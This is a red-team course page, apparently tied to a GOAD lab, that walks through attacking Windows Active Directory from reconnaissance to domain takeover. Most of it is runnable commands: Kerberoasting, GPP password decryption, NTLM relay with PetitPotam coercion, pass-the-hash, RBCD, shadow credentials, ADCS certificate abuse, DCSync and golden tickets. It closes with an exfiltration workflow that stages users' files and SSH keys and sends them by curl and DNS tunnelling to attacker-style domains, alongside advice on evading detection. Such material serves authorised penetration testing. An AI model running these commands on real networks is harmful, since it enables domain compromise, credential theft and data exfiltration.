2.1b AD Attacks Deep Dive

Parent: 2. Windows · Architecture: 2.0 Windows Architecture · Prev: 2.1a

— PART 2: ACTIVE DIRECTORY —

Action Item 5 — Windows/AD Reconnaissance & Enumeration [Intermediate]

Before you touch AD with credentials, you need to identify the domain from the outside — port signatures tell you what you're dealing with, unauthenticated protocol queries tell you who lives there. A Windows/AD environment has a distinctive fingerprint visible from any network position.

Lab track: Hands-on GOAD-Light practice (192.168.56.0/24 on 192.168.50.68) with c2_rust or Sliver operator paths → Windows AD Recon — GOAD-Light Lab.

What you're building: A map of the domain built entirely from network-visible data — DC hostnames, domain name, user list, share inventory, and password policy — before you have a single credential. Each protocol is a different window into the same directory.

Tactic: Discovery / Reconnaissance

Technique: Active Directory Enumeration — Think of it like reading a corporate directory with access control annotations: first you find the building, then you read the directory board, then you start mapping who has keys to what.

The goal before touching anything else: identify the domain and extract everything available without credentials first — then layer in authenticated queries. Unauthenticated LDAP and null-session SMB often hand you usernames, password policy, and share names for free.

Procedure — "From Network Position to Domain Map"

Work through these phases in order. Phases 0–2 require no credentials. Phase 3+ require a domain user.

Phase 0 — Fingerprint the Target (Is This Windows/AD?)

# Targeted port scan — the AD fingerprint
nmap -sV -sC -p 53,88,135,139,389,443,445,464,593,636,3268,3269,3389,5985,5986 10.10.10.10
# Port 88  open → Kerberos → this is a Domain Controller
# Port 389 open → LDAP → AD is running
# Port 3268 open → Global Catalog → this is the primary DC
# Port 445 open → SMB → Windows target confirmed
# Port 5985 open → WinRM → remote management enabled

# Quick check — is this a DC?
nmap -p 88,389,3268 --open 10.10.10.0/24   # find DCs in subnet

# OS and version fingerprint
nmap -O -sV 10.10.10.10
nxc smb 10.10.10.10               # OS, hostname, domain, signing status

Why: Port 88 (Kerberos) is the single most reliable indicator of a Domain Controller — nothing else runs Kerberos on a network. Port 3268 (Global Catalog) narrows it further to the primary DC. SMB's banner gives you domain name, hostname, and OS version in one shot.

Phase 1 — DNS Enumeration (No Creds Needed)

# Identify domain name from DNS
nslookup -type=SRV _ldap._tcp.domain.local 10.10.10.10
dig SRV _ldap._tcp.domain.local @10.10.10.10
dig SRV _kerberos._tcp.domain.local @10.10.10.10   # find DCs by name

# Attempt DNS zone transfer (often blocked, worth trying)
dig axfr domain.local @10.10.10.10         # full zone dump — gold if it works
host -t axfr domain.local 10.10.10.10

# Bruteforce DNS subdomains
gobuster dns -d domain.local -r 10.10.10.10 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Enumerate common records manually
for name in dc dc01 dc1 ldap gc mail smtp web vpn; do
  host $name.domain.local 10.10.10.10 2>/dev/null | grep 'has address'
done

Why: DNS zone transfers are misconfigured more often than you'd expect, especially on internal resolvers. SRV records reveal every DC in the domain without any authentication. Knowing DC hostnames is required for targeted Kerberoast, coercion, and ADCS attacks.

Phase 2 — SMB, LDAP & MSRPC Unauthenticated Enumeration

# --- SMB: Null session and share enumeration ---
# Check SMB signing status first (relay prerequisite check)
nxc smb 10.10.10.10               # signing: True/False, OS, hostname, domain
nxc smb 10.10.10.0/24 --gen-relay-list nosigning.txt   # find relay targets

# Enumerate shares (null session)
smbclient -L //10.10.10.10 -N              # -N = no password
smbclient //10.10.10.10/SYSVOL -N          # check SYSVOL for GPO scripts with creds
smbclient //10.10.10.10/NETLOGON -N

# Full null-session enumeration
enum4linux-ng -A 10.10.10.10               # OS, users, groups, shares, password policy
enum4linux-ng -R 10.10.10.10               # RID cycling — brute user enumeration

# --- LDAP: Anonymous bind enumeration ---
# Try anonymous bind (often enabled on older DCs)
ldapsearch -x -H ldap://10.10.10.10 -b '' -s base '(objectclass=*)' namingContexts
# Grab the base DN from namingContexts output, then:
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectclass=*)' | head -100

# Enumerate users (anonymous bind)
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName mail description

# Enumerate groups
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectClass=group)' cn member

# Enumerate domain password policy
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectClass=domain)' minPwdLength lockoutThreshold

# Dump everything if anonymous bind works
ldapdomaindump -u '' -p '' ldap://10.10.10.10 -o /tmp/ldap_dump/
# Creates HTML files: domain_users.html, domain_computers.html, domain_groups.html

# --- Authenticated LDAP (with creds) ---
ldapsearch -x -H ldap://10.10.10.10 -D 'user@domain.local' -w 'Password123' \
  -b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName memberOf pwdLastSet

# --- MSRPC: rpcclient null session ---
rpcclient -U '' -N 10.10.10.10             # null session
rpcclient -U 'user%Password123' 10.10.10.10  # authenticated

# Inside rpcclient:
# enumdomusers          → list all domain users
# enumdomgroups         → list all domain groups
# queryuser 0x1f4       → get details on RID 500 (Administrator)
# querygroup 0x200      → Domain Admins group info
# getdompwinfo          → password policy
# lsaquery              → domain SID
# lookupnames admin     → resolve name to SID

# RID cycling — enumerate users by SID (null session)
for rid in $(seq 500 1100); do
  rpcclient -U '' -N 10.10.10.10 -c "queryuser 0x$(printf '%x' $rid)" 2>/dev/null | grep 'User Name'
done

# impacket — enumerate RPC endpoints
impacket-rpcdump @10.10.10.10 | grep -i 'MS-RPRN\|MS-PAR\|ncacn'   # spot PrintSpooler (coercion target)

SYSVOL / NETLOGON: GPP Password Abuse (Group Policy Preferences)

GPO scripts and preferences files in SYSVOL are world-readable by all domain users. Group Policy Preferences (GPP) historically stored encrypted passwords (cpassword) in XML files — the AES key was published by Microsoft, making these trivially decryptable. Any domain user (or null session if Authenticated Users have read) can read SYSVOL.

# From Linux — mount/search SYSVOL for cpassword entries
smbclient //10.10.10.10/SYSVOL -U 'user%Password1'
# recurse on; ls; get Groups.xml

# Find cpassword attributes in any GPP XML file
nxc smb 10.10.10.10 -u user -p Password1 -M gpp_password
nxc smb 10.10.10.10 -u user -p Password1 -M gpp_autologin

# From Linux — spider SYSVOL for GPP files
find /tmp/sysvol_mount -name "*.xml" 2>/dev/null | xargs grep -l "cpassword" 2>/dev/null

# Decrypt cpassword value (AES key is public — MS published it)
python3 -c "
import base64, hashlib
from Crypto.Cipher import AES
key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b0ccb2')
enc = base64.b64decode('YOUR_CPASSWORD_VALUE_HERE' + '==')
cipher = AES.new(key[:32], AES.MODE_CBC, enc[:16])
print(cipher.decrypt(enc[16:]).rstrip(b'\\x00\\x10\\x11').decode())
"

# Or use gpp-decrypt tool (Kali built-in)
gpp-decrypt YOUR_CPASSWORD_VALUE_HERE

# From Windows domain host — search SYSVOL directly
$sysvol = "\\$env:USERDNSDOMAIN\SYSVOL\$env:USERDNSDOMAIN\Policies"
Get-ChildItem -Path $sysvol -Recurse -Include "*.xml" |
  Select-String -Pattern "cpassword" | Select Path, Line

# PowerView helper
Get-GPPPassword     # searches SYSVOL and decrypts all found cpasswords automatically

GPP files to check:

Why it matters: Even patched environments may retain old GPP files in SYSVOL from before MS14-025. A cpassword found there is often a domain admin or service account password that has never been rotated. Always check SYSVOL before attempting noisy attacks.

OPSEC: Anonymous LDAP binds and null SMB sessions generate Event ID 4624 (Logon Type 3, anonymous) on the DC — detectable but common enough to be low-signal in most environments. RID cycling generates a burst of 4625 (failed logon) events if the session isn't truly null. enum4linux-ng is noisy — use targeted rpcclient and ldapsearch commands in monitored environments.

Phase 3 — Domain Identity & Structure (Authenticated)

# Who am I in domain context?
whoami /all
net user $env:USERNAME /domain
gpresult /r

# Domain basics
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-ADDomain
Get-ADForest
nltest /dclist:domain.local
nslookup -type=SRV _ldap._tcp.domain.local   # find DCs via DNS (no tools needed)

Why: Your starting group memberships determine which attack chains are immediately available. Knowing the PDC emulator DC name is useful — Kerberoasting, coercion, and DCSync attacks usually target DCs specifically.

Phase 4 — User & Account Enumeration (Authenticated)

Import-Module .\PowerView.ps1

# Kerberoastable accounts (have SPNs)
Get-DomainUser -SPN | Select samaccountname, serviceprincipalname, pwdlastset | Sort pwdlastset

# AS-REP roastable (no pre-auth required)
Get-DomainUser -PreauthNotRequired | Select samaccountname, distinguishedname

# Accounts with passwords that never expire
Get-DomainUser -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=65536))" | Select samaccountname

# Domain Admins and Enterprise Admins
Get-DomainGroupMember "Domain Admins" -Recurse | Select MemberName, MemberSID
Get-DomainGroupMember "Enterprise Admins" -Recurse | Select MemberName

# Built-in fallbacks (no PowerView)
net user /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net accounts /domain    # password policy

LAPS (Local Administrator Password Solution) Enumeration

LAPS rotates the local Administrator password on managed machines and stores it in an AD attribute (ms-Mcs-AdmPwd). Only specific AD groups can read this attribute — but if your current user has that right, you get the local admin password for any LAPS-managed machine.

# Check if LAPS is deployed in the domain
Get-ADObject "CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=domain,DC=local" 2>$null
# If this returns an object, LAPS is deployed

# Find machines WITH LAPS configured (ms-Mcs-AdmPwd is set)
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime |
  Where-Object { $.'ms-Mcs-AdmPwd' } | Select Name, 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime'

# Find machines WITHOUT LAPS (ms-Mcs-AdmPwd null = no rotation = static local admin password)
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd |
  Where-Object { -not $.'ms-Mcs-AdmPwd' } | Select Name   # these use a static local admin password

# Check who has read rights on ms-Mcs-AdmPwd
Get-ADComputer MACHINENAME -Properties * | Get-Acl |
  Select -ExpandProperty Access | Where-Object { $_.ObjectType -match 'ms-Mcs-AdmPwd' }

# From Linux — read LAPS passwords if your account has rights (Impacket)
ldapsearch -x -H ldap://10.10.10.10 -D 'user@domain.local' -w 'Password1' \
  -b 'DC=domain,DC=local' '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd sAMAccountName

# LAPSDumper (Python)
python3 laps.py -u user -p Password1 -d domain.local -l 10.10.10.10

# NetExec LAPS module
nxc ldap 10.10.10.10 -u user -p Password1 --module laps

Why it matters: Machines without LAPS often share the same local administrator password across the domain — crack or obtain it once, and you have local admin on every unmanaged host. Machines WITH LAPS that you have read rights on hand you a local admin credential without any cracking.

Phase 5 — Computer & Delegation Enumeration

# Computers with unconstrained delegation (coerce → TGT capture)
Get-DomainComputer -Unconstrained | Select name, dnshostname, operatingsystem

# Computers with constrained delegation (S4U2Proxy abuse)
Get-DomainComputer -TrustedToAuth | Select name, msds-allowedtodelegateto

# Domain Controllers
Get-DomainController | Select name, ipaddress, operatingsystem

# Spot older, unpatched machines
Get-DomainComputer | Select name, operatingsystem, operatingsystemversion | Sort operatingsystem

Phase 6 — ACL Enumeration (Manual BloodHound Alternative)

# Find interesting ACLs — the manual equivalent of BloodHound ACL edges
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
    $_.IdentityReferenceName -match "Domain Users|Authenticated Users|Everyone|attacker_user"
} | Select ObjectDN, ObjectAceType, IdentityReferenceName, ActiveDirectoryRights

# Check DCSync rights on the Domain object
Get-ObjectAcl -DistinguishedName "DC=domain,DC=local" -ResolveGUIDs | Where-Object {
    $_.IdentityReference -match $env:USERNAME
}

# GPOs with weak ACLs
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "CreateChild|WriteProperty|GenericAll|GenericWrite"
}

OPSEC: Find-InterestingDomainAcl generates many LDAP queries. Spread queries over time in monitored environments. A burst of LDAP requests from a new workstation in a short window is a detection signal. Filter by target OUs where possible to reduce query volume.

Phase 7 — Trust Enumeration

Get-DomainTrust | Select source, target, trusttype, trustattributes
Get-ADTrust -Filter * | Select Name, TrustType, TrustDirection, TrustAttributes
nltest /domain_trusts
Get-DomainForestTrust

Phase 8 — BloodHound (Supplemental — OPSEC Warning)

OPSEC: BloodHound's SharpHound collector is designed for speed, not stealth. The default -c All collection queries every domain computer for local admin sessions and network connections — this generates thousands of authentication events and SMB connections in a short window. Modern EDRs and SIEMs alert on this burst pattern reliably. Use manual enumeration (Phases 1–5) as your primary approach.

When to use it: In red team environments where you need complete path coverage and monitoring is limited. Use DCOnly at a minimum — it restricts to LDAP queries against DCs only.

# Least noisy SharpHound option (LDAP to DC only):
.\SharpHound.exe -c DCOnly --Domain domain.local

# Never use -c All in a monitored environment
# Never use --Loop (sustained session hunting is extremely detectable)

# From Linux (if you have creds but no Windows foothold):
bloodhound-python -u 'user' -p 'pass' -d 'domain.local' -dc 'dc01.domain.local' -c DCOnly

Action Item 6 — Kerberos Attacks [Intermediate]

Kerberos-based attacks target the service ticket request process to obtain crackable hashes. Unlike credential dumping, these require no elevated access — any domain user can request service tickets.

What you're building: Offline-crackable hashes for service accounts (Kerberoasting) and accounts without pre-authentication (AS-REP Roasting). The hash is extracted from the ticket response and cracked at GPU speed on your attacker machine.

Tactic: Credential Access

Technique: Kerberos Ticket Abuse & Offline Cracking (T1558.003, T1558.004)

Procedure:

# Kerberoasting (Rubeus)
.\Rubeus.exe kerberoast /outfile:hashes.txt                    # all SPNs
.\Rubeus.exe kerberoast /user:svc_sql /outfile:sql_hash.txt    # targeted (quieter)
.\Rubeus.exe kerberoast /format:hashcat /outfile:hashes_hc.txt
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt          # downgrade to RC4

# AS-REP Roasting (Rubeus)
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

# From Linux (Impacket)
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request-user svc_sql

GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt -dc-ip 10.10.10.10

# Cracking
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19700 aes_hashes.txt wordlist.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force

Quick Reference: Kerberos Encryption Types

OPSEC: Requesting service tickets for all SPNs at once generates a burst of TGS-REQ events (Event ID 4769) on the DC. Honey-SPNs are a common detection mechanism. Check the target's pwdlastset value first — accounts with passwords unchanged for years have weak passwords AND are less likely to be honeypots.

Action Item 7 — NTLM Relay & Lateral Movement [Advanced]

NTLM relaying exploits the lack of SMB/LDAP signing to intercept and forward authentication. Coercion forces authentication without waiting for organic traffic.

What you're building: A path from a network listener to a privileged action — relaying a machine's authentication to a target that trusts it, or forcing a DC to authenticate to you immediately for a relay chain.

Tactic: Credential Access / Lateral Movement

Technique: NTLM Relay and Coercion (T1557.001)

Procedure:

# Step 1: Find targets without SMB signing
nxc smb 10.10.10.0/24 --gen-relay-list targets.txt

# Step 2: Configure Responder (disable SMB/HTTP — ntlmrelayx handles those)
# Edit /etc/responder/Responder.conf: SMB = Off, HTTP = Off
sudo responder -I eth0 -rdw

# Step 3a: Relay to SMB for command execution
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami /all"

# Step 3b: Relay to LDAP for RBCD
ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access --escalate-user 'attacker_user'

# Step 3c: Relay to ADCS HTTP (fastest path to DA)
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp --adcs --template DomainController

# Coercion — force DC to authenticate to you immediately
python3 PetitPotam.py -u '' -p '' attacker_ip dc01.domain.local

python3 Coercer.py coerce -u domain_user -p password -d domain.local \
  --listener-ip attacker_ip --target dc01.domain.local

# Full chain: Coerce → ADCS → DC cert → NT hash
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp --adcs --template DomainController
python3 PetitPotam.py attacker_ip dc01.domain.local
python3 gettgtpkinit.py domain.local/dc01$ -pfx-base64 $(cat cert.b64) dc01.ccache
export KRB5CCNAME=dc01.ccache
python3 getnthash.py domain.local/dc01$ -key <AS-REP-key>

Lateral Movement after credential/ticket acquisition:

# Pass-the-Hash from Linux (Impacket)
wmiexec.py domain.local/user@10.10.10.10 -hashes :NTLM_HASH    # WMI — quietest
smbexec.py domain.local/user@10.10.10.10 -hashes :NTLM_HASH
psexec.py domain.local/user@10.10.10.10 -hashes :NTLM_HASH     # noisy

# Pass-the-Hash from Windows (Mimikatz)
privilege::debug
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:HASH_HERE /run:cmd.exe

# Pass-the-Ticket (Rubeus)
.\Rubeus.exe ptt /ticket:base64_ticket_here
.\Rubeus.exe asktgt /user:user /domain:domain.local /rc4:HASH_HERE /ptt

OPSEC: Responder poisoning is highly detectable in monitored environments — use -A (Analyze mode) first to see what traffic exists before active poisoning. Coercion is more surgical: one authentication event targeted at your listener, compared to Responder's continuous broadcast. wmiexec is the quietest lateral movement tool — uses WMI vs. named pipes (psexec) or service creation (smbexec).

Action Item 8 — ACL Abuse, ADCS & Domain Dominance [Advanced]

Exploiting misconfigured AD object permissions, certificate template vulnerabilities, and domain replication rights to achieve full domain compromise and long-term persistence.

What you're building: Domain Admin or equivalent access, and a persistence mechanism that survives password resets. Golden Tickets and forged certificates survive indefinitely — they're your "break glass" fallback after full compromise.

Tactic: Privilege Escalation / Persistence / Credential Access

Technique: ACL Exploitation, ADCS Abuse, Domain Persistence (T1484.001, T1649, T1003.006, T1558.001)

Procedure — ACL Abuse:

# GenericAll on user: Change their password
Set-DomainUserPassword -Identity 'target_user' -AccountPassword (ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force)

# WriteDACL on Domain object: Grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity "attacker_user" -Rights DCSync

# WriteProperty on Group: Add member
Add-DomainGroupMember -Identity "Domain Admins" -PrincipalIdentity "attacker_user"

# Constrained Delegation S4U2Proxy: Impersonate any user on delegated service
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/dc01.domain.local /user:svc_account /rc4:HASH_HERE /ptt

# Shadow Credentials (no password change event — stealthier than GenericAll)
# Requires: GenericWrite or WriteProperty (ms-DS-Key-Credential-Link) on target
.\Whisker.exe add /target:victim_user /domain:domain.local /dc:dc01.domain.local
# → outputs a Rubeus command to get a TGT as victim_user via PKINIT

# From Linux (pyWhisker):
python3 pywhisker.py -d domain.local -u attacker -p password --target victim_user --action add

# Clean up after:
.\Whisker.exe remove /target:victim_user /domain:domain.local /dc:dc01.domain.local /id:<guid>

Procedure — RBCD (Resource-Based Constrained Delegation):

RBCD allows a computer account to impersonate any user to a target service. Unlike classical constrained delegation (which requires DA to configure), RBCD is controlled by the resource (target machine). Any user with GenericWrite or WriteProperty (msDS-AllowedToActOnBehalfOfOtherIdentity) on a computer object can configure RBCD from low privilege.

# Step 1: Check if target machine is vulnerable
# Need: GenericWrite OR WriteProperty on the target computer object
Get-DomainComputer TARGET-PC -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Select Name, msDS-AllowedToActOnBehalfOfOtherIdentity

# Step 2a: Create a fake computer account you control (if MachineAccountQuota > 0)
# Default: any domain user can add up to 10 machine accounts
Get-DomainObject -Identity "DC=domain,DC=local" -Properties ms-DS-MachineAccountQuota
# Add the fake computer
.\StandIn.exe --computer evilpc --make    # or use Powermad:
Import-Module Powermad.ps1
New-MachineAccount -MachineAccount evilpc -Password $(ConvertTo-SecureString 'EvilPass123!' -AsPlainText -Force)

# From Linux — add machine account via impacket
addcomputer.py domain.local/user:Password1 -computer-name evilpc$ -computer-pass EvilPass123! -dc-ip 10.10.10.10

# Step 3: Write RBCD configuration — set TARGET-PC to trust evilpc$ for delegation
$evilSID = (Get-ADComputer evilpc).SID.Value
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$evilSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-ADComputer TARGET-PC | Set-ADComputer -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $SDBytes}

# Verify the write
Get-ADComputer TARGET-PC -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

# From Linux — configure RBCD (rbcd.py from impacket)
rbcd.py domain.local/user:Password1 -action write -delegate-to 'TARGET-PC

```powershell
# Windows S4U execution (Rubeus)
.\Rubeus.exe s4u /user:evilpc$ /rc4:EVILPC_NTLM_HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET-PC.domain.local /ptt
# Now run: dir \\TARGET-PC\C$

RBCD attack flow summary:

[GenericWrite on TARGET-PC] 
    → Create evilpc$ machine account (quota allows it)
    → Write evilpc$ SID into TARGET-PC's msDS-AllowedToActOnBehalfOfOtherIdentity
    → S4U2Self: evilpc$ gets a forwardable TGS for Administrator → itself
    → S4U2Proxy: exchange for TGS for cifs/TARGET-PC as Administrator
    → DCSync / LSASS dump on TARGET-PC

When to use RBCD vs Shadow Credentials: RBCD requires creating/controlling a machine account. Shadow Credentials require only GenericWrite on a user/computer object and leave less trace (no new machine account). Use Shadow Credentials when targeting users; use RBCD when you need code execution on a specific computer. Both bypass the need for password resets.

Procedure — ADCS Certificate Abuse:

# Enumerate vulnerable templates
certipy find -u 'user@domain.local' -p 'password' -dc-ip 10.10.10.10 -vulnerable -stdout

# ESC1: SAN Override — any domain user → Domain Admin cert
certipy req -u 'lowpriv@domain.local' -p 'password' -ca 'domain-CA' \
  -template 'VulnerableTemplate' -upn 'administrator@domain.local' -dc-ip 10.10.10.10
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 10.10.10.10

# ESC8: NTLM Relay to ADCS Web Enrollment
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp --adcs --template DomainController
python3 PetitPotam.py attacker_ip dc01.domain.local
python3 gettgtpkinit.py domain.local/dc01$ -pfx-base64 $(cat cert.b64) dc01.ccache

# ESC13: OID Group Link
certipy req -u 'lowpriv@domain.local' -p 'password' -ca 'domain-CA' \
  -template 'ESC13Template' -dc-ip 10.10.10.10
certipy auth -pfx lowpriv.pfx -domain domain.local -dc-ip 10.10.10.10

# CA Persistence: Forge any certificate (requires DA + CA private key)
certipy forge -ca-pfx ca.pfx -upn administrator@domain.local -subject 'CN=Administrator'
certipy auth -pfx administrator_forged.pfx -domain domain.local -dc-ip 10.10.10.10

ESC Vulnerability Quick Reference:

Procedure — Domain Dominance (DCSync & Tickets):

# DCSync: Replicate hashes without touching NTDS.dit
# Requires: Replicating Directory Changes + Replicating Directory Changes All
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

# From Linux (Impacket):
secretsdump.py domain.local/user:password@dc01.domain.local -just-dc-user krbtgt
secretsdump.py domain.local/user:password@dc01.domain.local -just-dc-ntlm

# Golden Ticket (TGT valid for 10 years — survives password changes until krbtgt reset twice)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH_HERE /id:500 /ptt

# Silver Ticket (TGS for specific service — no DC contact needed)
kerberos::silver /user:Administrator /domain:domain.local /sid:S-1-5-21-... /target:dc01.domain.local /service:cifs /rc4:MACHINE_HASH_HERE /ptt

OPSEC: DCSync is a high-fidelity alert in most SOCs (Event ID 4662). ACL modifications write to the AD database — always have a cleanup plan. Shadow Credentials are stealthier than password resets (no Event 4723) but write to ms-DS-Key-Credential-Link. Certificate abuse is often the least monitored path — CA logs are rarely reviewed in real time.

✦ Full Windows/AD Attack Chain [Operator]

Executing a complete engagement from initial Windows foothold through full AD compromise, maintaining OPSEC throughout.

What you're building: A documented end-to-end kill chain from initial foothold to domain dominance, with cleanup steps for each phase. This is the mental model that ties all eight action items together.

Tactic: Full Kill Chain (Initial Access → Privilege Escalation → Credential Access → Lateral Movement → Persistence → Exfiltration)

Technique: Chained exploitation of Windows and Active Directory misconfigurations in a single cohesive engagement scenario

Procedure:

1. Local Foothold: Gain initial shell. Run AI1 Phases 1–4 manually. Identify SeImpersonatePrivilege or unquoted service paths.
2. Local Escalation: Escalate to SYSTEM via AI2 (potato attack or service binary). Dump credentials via AI3 (SAM + SYSTEM offline, or comsvcs.dll LSASS dump).
3. Domain Entry: Use harvested NT hash or cleartext to authenticate to the domain. Validate with net user %USERNAME% /domain. Begin AI5 manual enumeration — targeted PowerView queries, no SharpHound burst.
4. Attack Path Selection: Check in priority order: (a) AS-REP roast for quick hashes → (b) Kerberoasting service accounts → (c) ADCS with certipy find -vulnerable → (d) ACL paths via Find-InterestingDomainAcl. Take the path of least resistance.
5. Domain Escalation: Execute chosen path. ESC1/ESC8 certificates and DCSync are typically the cleanest paths to DA. Avoid Add-DomainGroupMember on Domain Admins directly — audited. Prefer shadow credentials or certificate-based escalation.
6. Persistence: Deploy Golden Ticket (offline, survives password changes until krbtgt reset twice) or forge a CA certificate. WMI subscription from AI4 for interactive access.
7. Exfiltration: Pull only the approved data set, stage it in a low-visibility path, compress and encrypt it, then move it over a trusted channel or existing enterprise sync path.
8. Cleanup: Revert ACL changes, delete temporary computer accounts (RBCD), revoke obtained certificates, remove scheduled tasks and WMI subscriptions, and remove staging artifacts only after receipt is verified. Document every action for the report.

Windows Exfiltration Workflow

Why here: On Windows and AD engagements, exfiltration is part of the operator chain after privilege and objective access. It belongs inside the Windows/AD workflow because the files, channels, and DLP controls are OS- and environment-specific.

Related files: C2 transfer paths are in 7. C2. Proxying and route control are in 4.1_Pivoting_and_Tunneling. Cloud-side storage tradecraft is in 5.1 AWS Attack Paths and 5.2 Azure Entra Attacks.

1. Identify high-value files

:: Financial docs and exports
dir /s /b *.xlsx *.xls *.csv | findstr /i "finance budget revenue payroll invoice"

:: Keys, certs, vaults
dir /s /b *.kdbx *.key *.pem *.pfx *.p12 *.ppk | findstr /v "System32 WinSxS"

:: Recent files
forfiles /S /D +2026-04-10 /C "cmd /c echo @path @fdate @ftime" 2>nul

Get-ChildItem -Path C:\Users -Recurse -Include *.docx,*.xlsx,*.pdf |
  Where-Object { $_.Length -lt 10MB } |
  Select-Object FullName, Length, LastWriteTime

2. Stage, compress, and encrypt

$staging = "C:\Windows\Temp\Updates"
New-Item -ItemType Directory -Path $staging -Force | Out-Null
Copy-Item -Path "C:\Users\*\Documents\*.xlsx" -Destination $staging -Recurse
Copy-Item -Path "C:\Users\*\.ssh\id_rsa" -Destination $staging -Recurse

Compress-Archive -Path "C:\Windows\Temp\Updates\*" -DestinationPath "C:\Windows\Temp\patch.zip"
7z a -p'StrongPassword123!' -mhe=on "C:\Windows\Temp\patch.7z" "C:\Windows\Temp\Updates\*"

3. Transfer over an approved or trusted channel

sliver (beacon) > download C:\\Windows\\Temp\\patch.zip /tmp/loot/patch.zip
beacon> download C:\Windows\Temp\patch.zip
download C:\Windows\Temp\patch.zip

# Graph API / OneDrive with captured token
curl -X PUT "https://graph.microsoft.com/v1.0/me/drive/root:/loot.enc:/content" \
  -H "Authorization: Bearer CAPTURED_TOKEN" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @patch.zip

:: HTTPS upload that blends into normal software traffic
curl -s -X POST https://redirect.yourdomain.com/sync ^
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" ^
  -H "X-File: patch.zip" ^
  --data-binary @C:\Windows\Temp\patch.zip

4. DNS fallback for small, high-value data

Invoke-DNSExfiltrator -i "C:\Sensitive\file.docx" -d exfil.yourdomain.com -p password -t 500

5. DLP awareness and cleanup

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
netsh winhttp show proxy

# Extension filters are common; encrypted archives and neutral names reduce obvious hits
Rename-Item C:\Windows\Temp\patch.zip patch.dat

# After verifying the file on your side:
Remove-Item -Path "C:\Windows\Temp\patch.dat" -Force
Remove-Item -Path "C:\Windows\Temp\Updates" -Recurse -Force

:: If secure delete is approved and available
sdelete64.exe -p 3 C:\Windows\Temp\patch.dat

Windows exfiltration rules

• Check the RoE for data classification, mailbox content, credential material, and volume limits before staging anything.
• Prefer the existing C2 channel or a trusted enterprise sync path over brand-new outbound traffic.
• Use low-volume encrypted archives; avoid large raw copies and avoid clearing logs unless the engagement explicitly allows it.
• DNS exfil is a last resort for small files only; it is slow and high-entropy query patterns are easy to hunt.

Common Windows/AD Service Ports:

OPSEC: The operator mindset is about choosing the path of least resistance. If a simple Kerberoast crack gets you DA, don't bother with coercion chains. If ESC1 is in scope, use it — quieter than DCSync and generates no replication events. Always assume you are being watched. Document every action for deconfliction and reporting.

AI9 — Common Windows Services

What you're building: A service-by-service attacker reference for the 12 most common Windows services — how to fingerprint them, enumerate misconfigurations, exploit them, and detect/harden them from the defender side.

BLUF: Every Windows network runs the same dozen services. Know them cold — their ports, default misconfigurations, attack surface, and the Event IDs that expose you when you touch them. Attacker-primary, defender-aware.

Phase 1 — SMB (TCP 445, 139)

SMB (Server Message Block) is the backbone of Windows file sharing, named pipe communication, and lateral movement. It is the most-attacked Windows protocol — null sessions, relay attacks, named pipe abuse, and remote code execution all flow through port 445.

# Identify SMB hosts, signing config, OS version, and domain membership
nxc smb 10.10.10.0/24

# NSE scripts — enumerate shares, signing, OS, check for MS17-010
nmap -p 445 --script smb-security-mode,smb-os-discovery,smb-vuln-ms17-010 10.10.10.10

# Null session — attempt unauthenticated share listing (Windows legacy)
smbclient -L \\\\10.10.10.10 -N

# Map shares and permissions with null or authenticated session
smbmap -H 10.10.10.10 -u '' -p ''

# Full unauthenticated enumeration via SMB/RPC (users, groups, shares, policies)
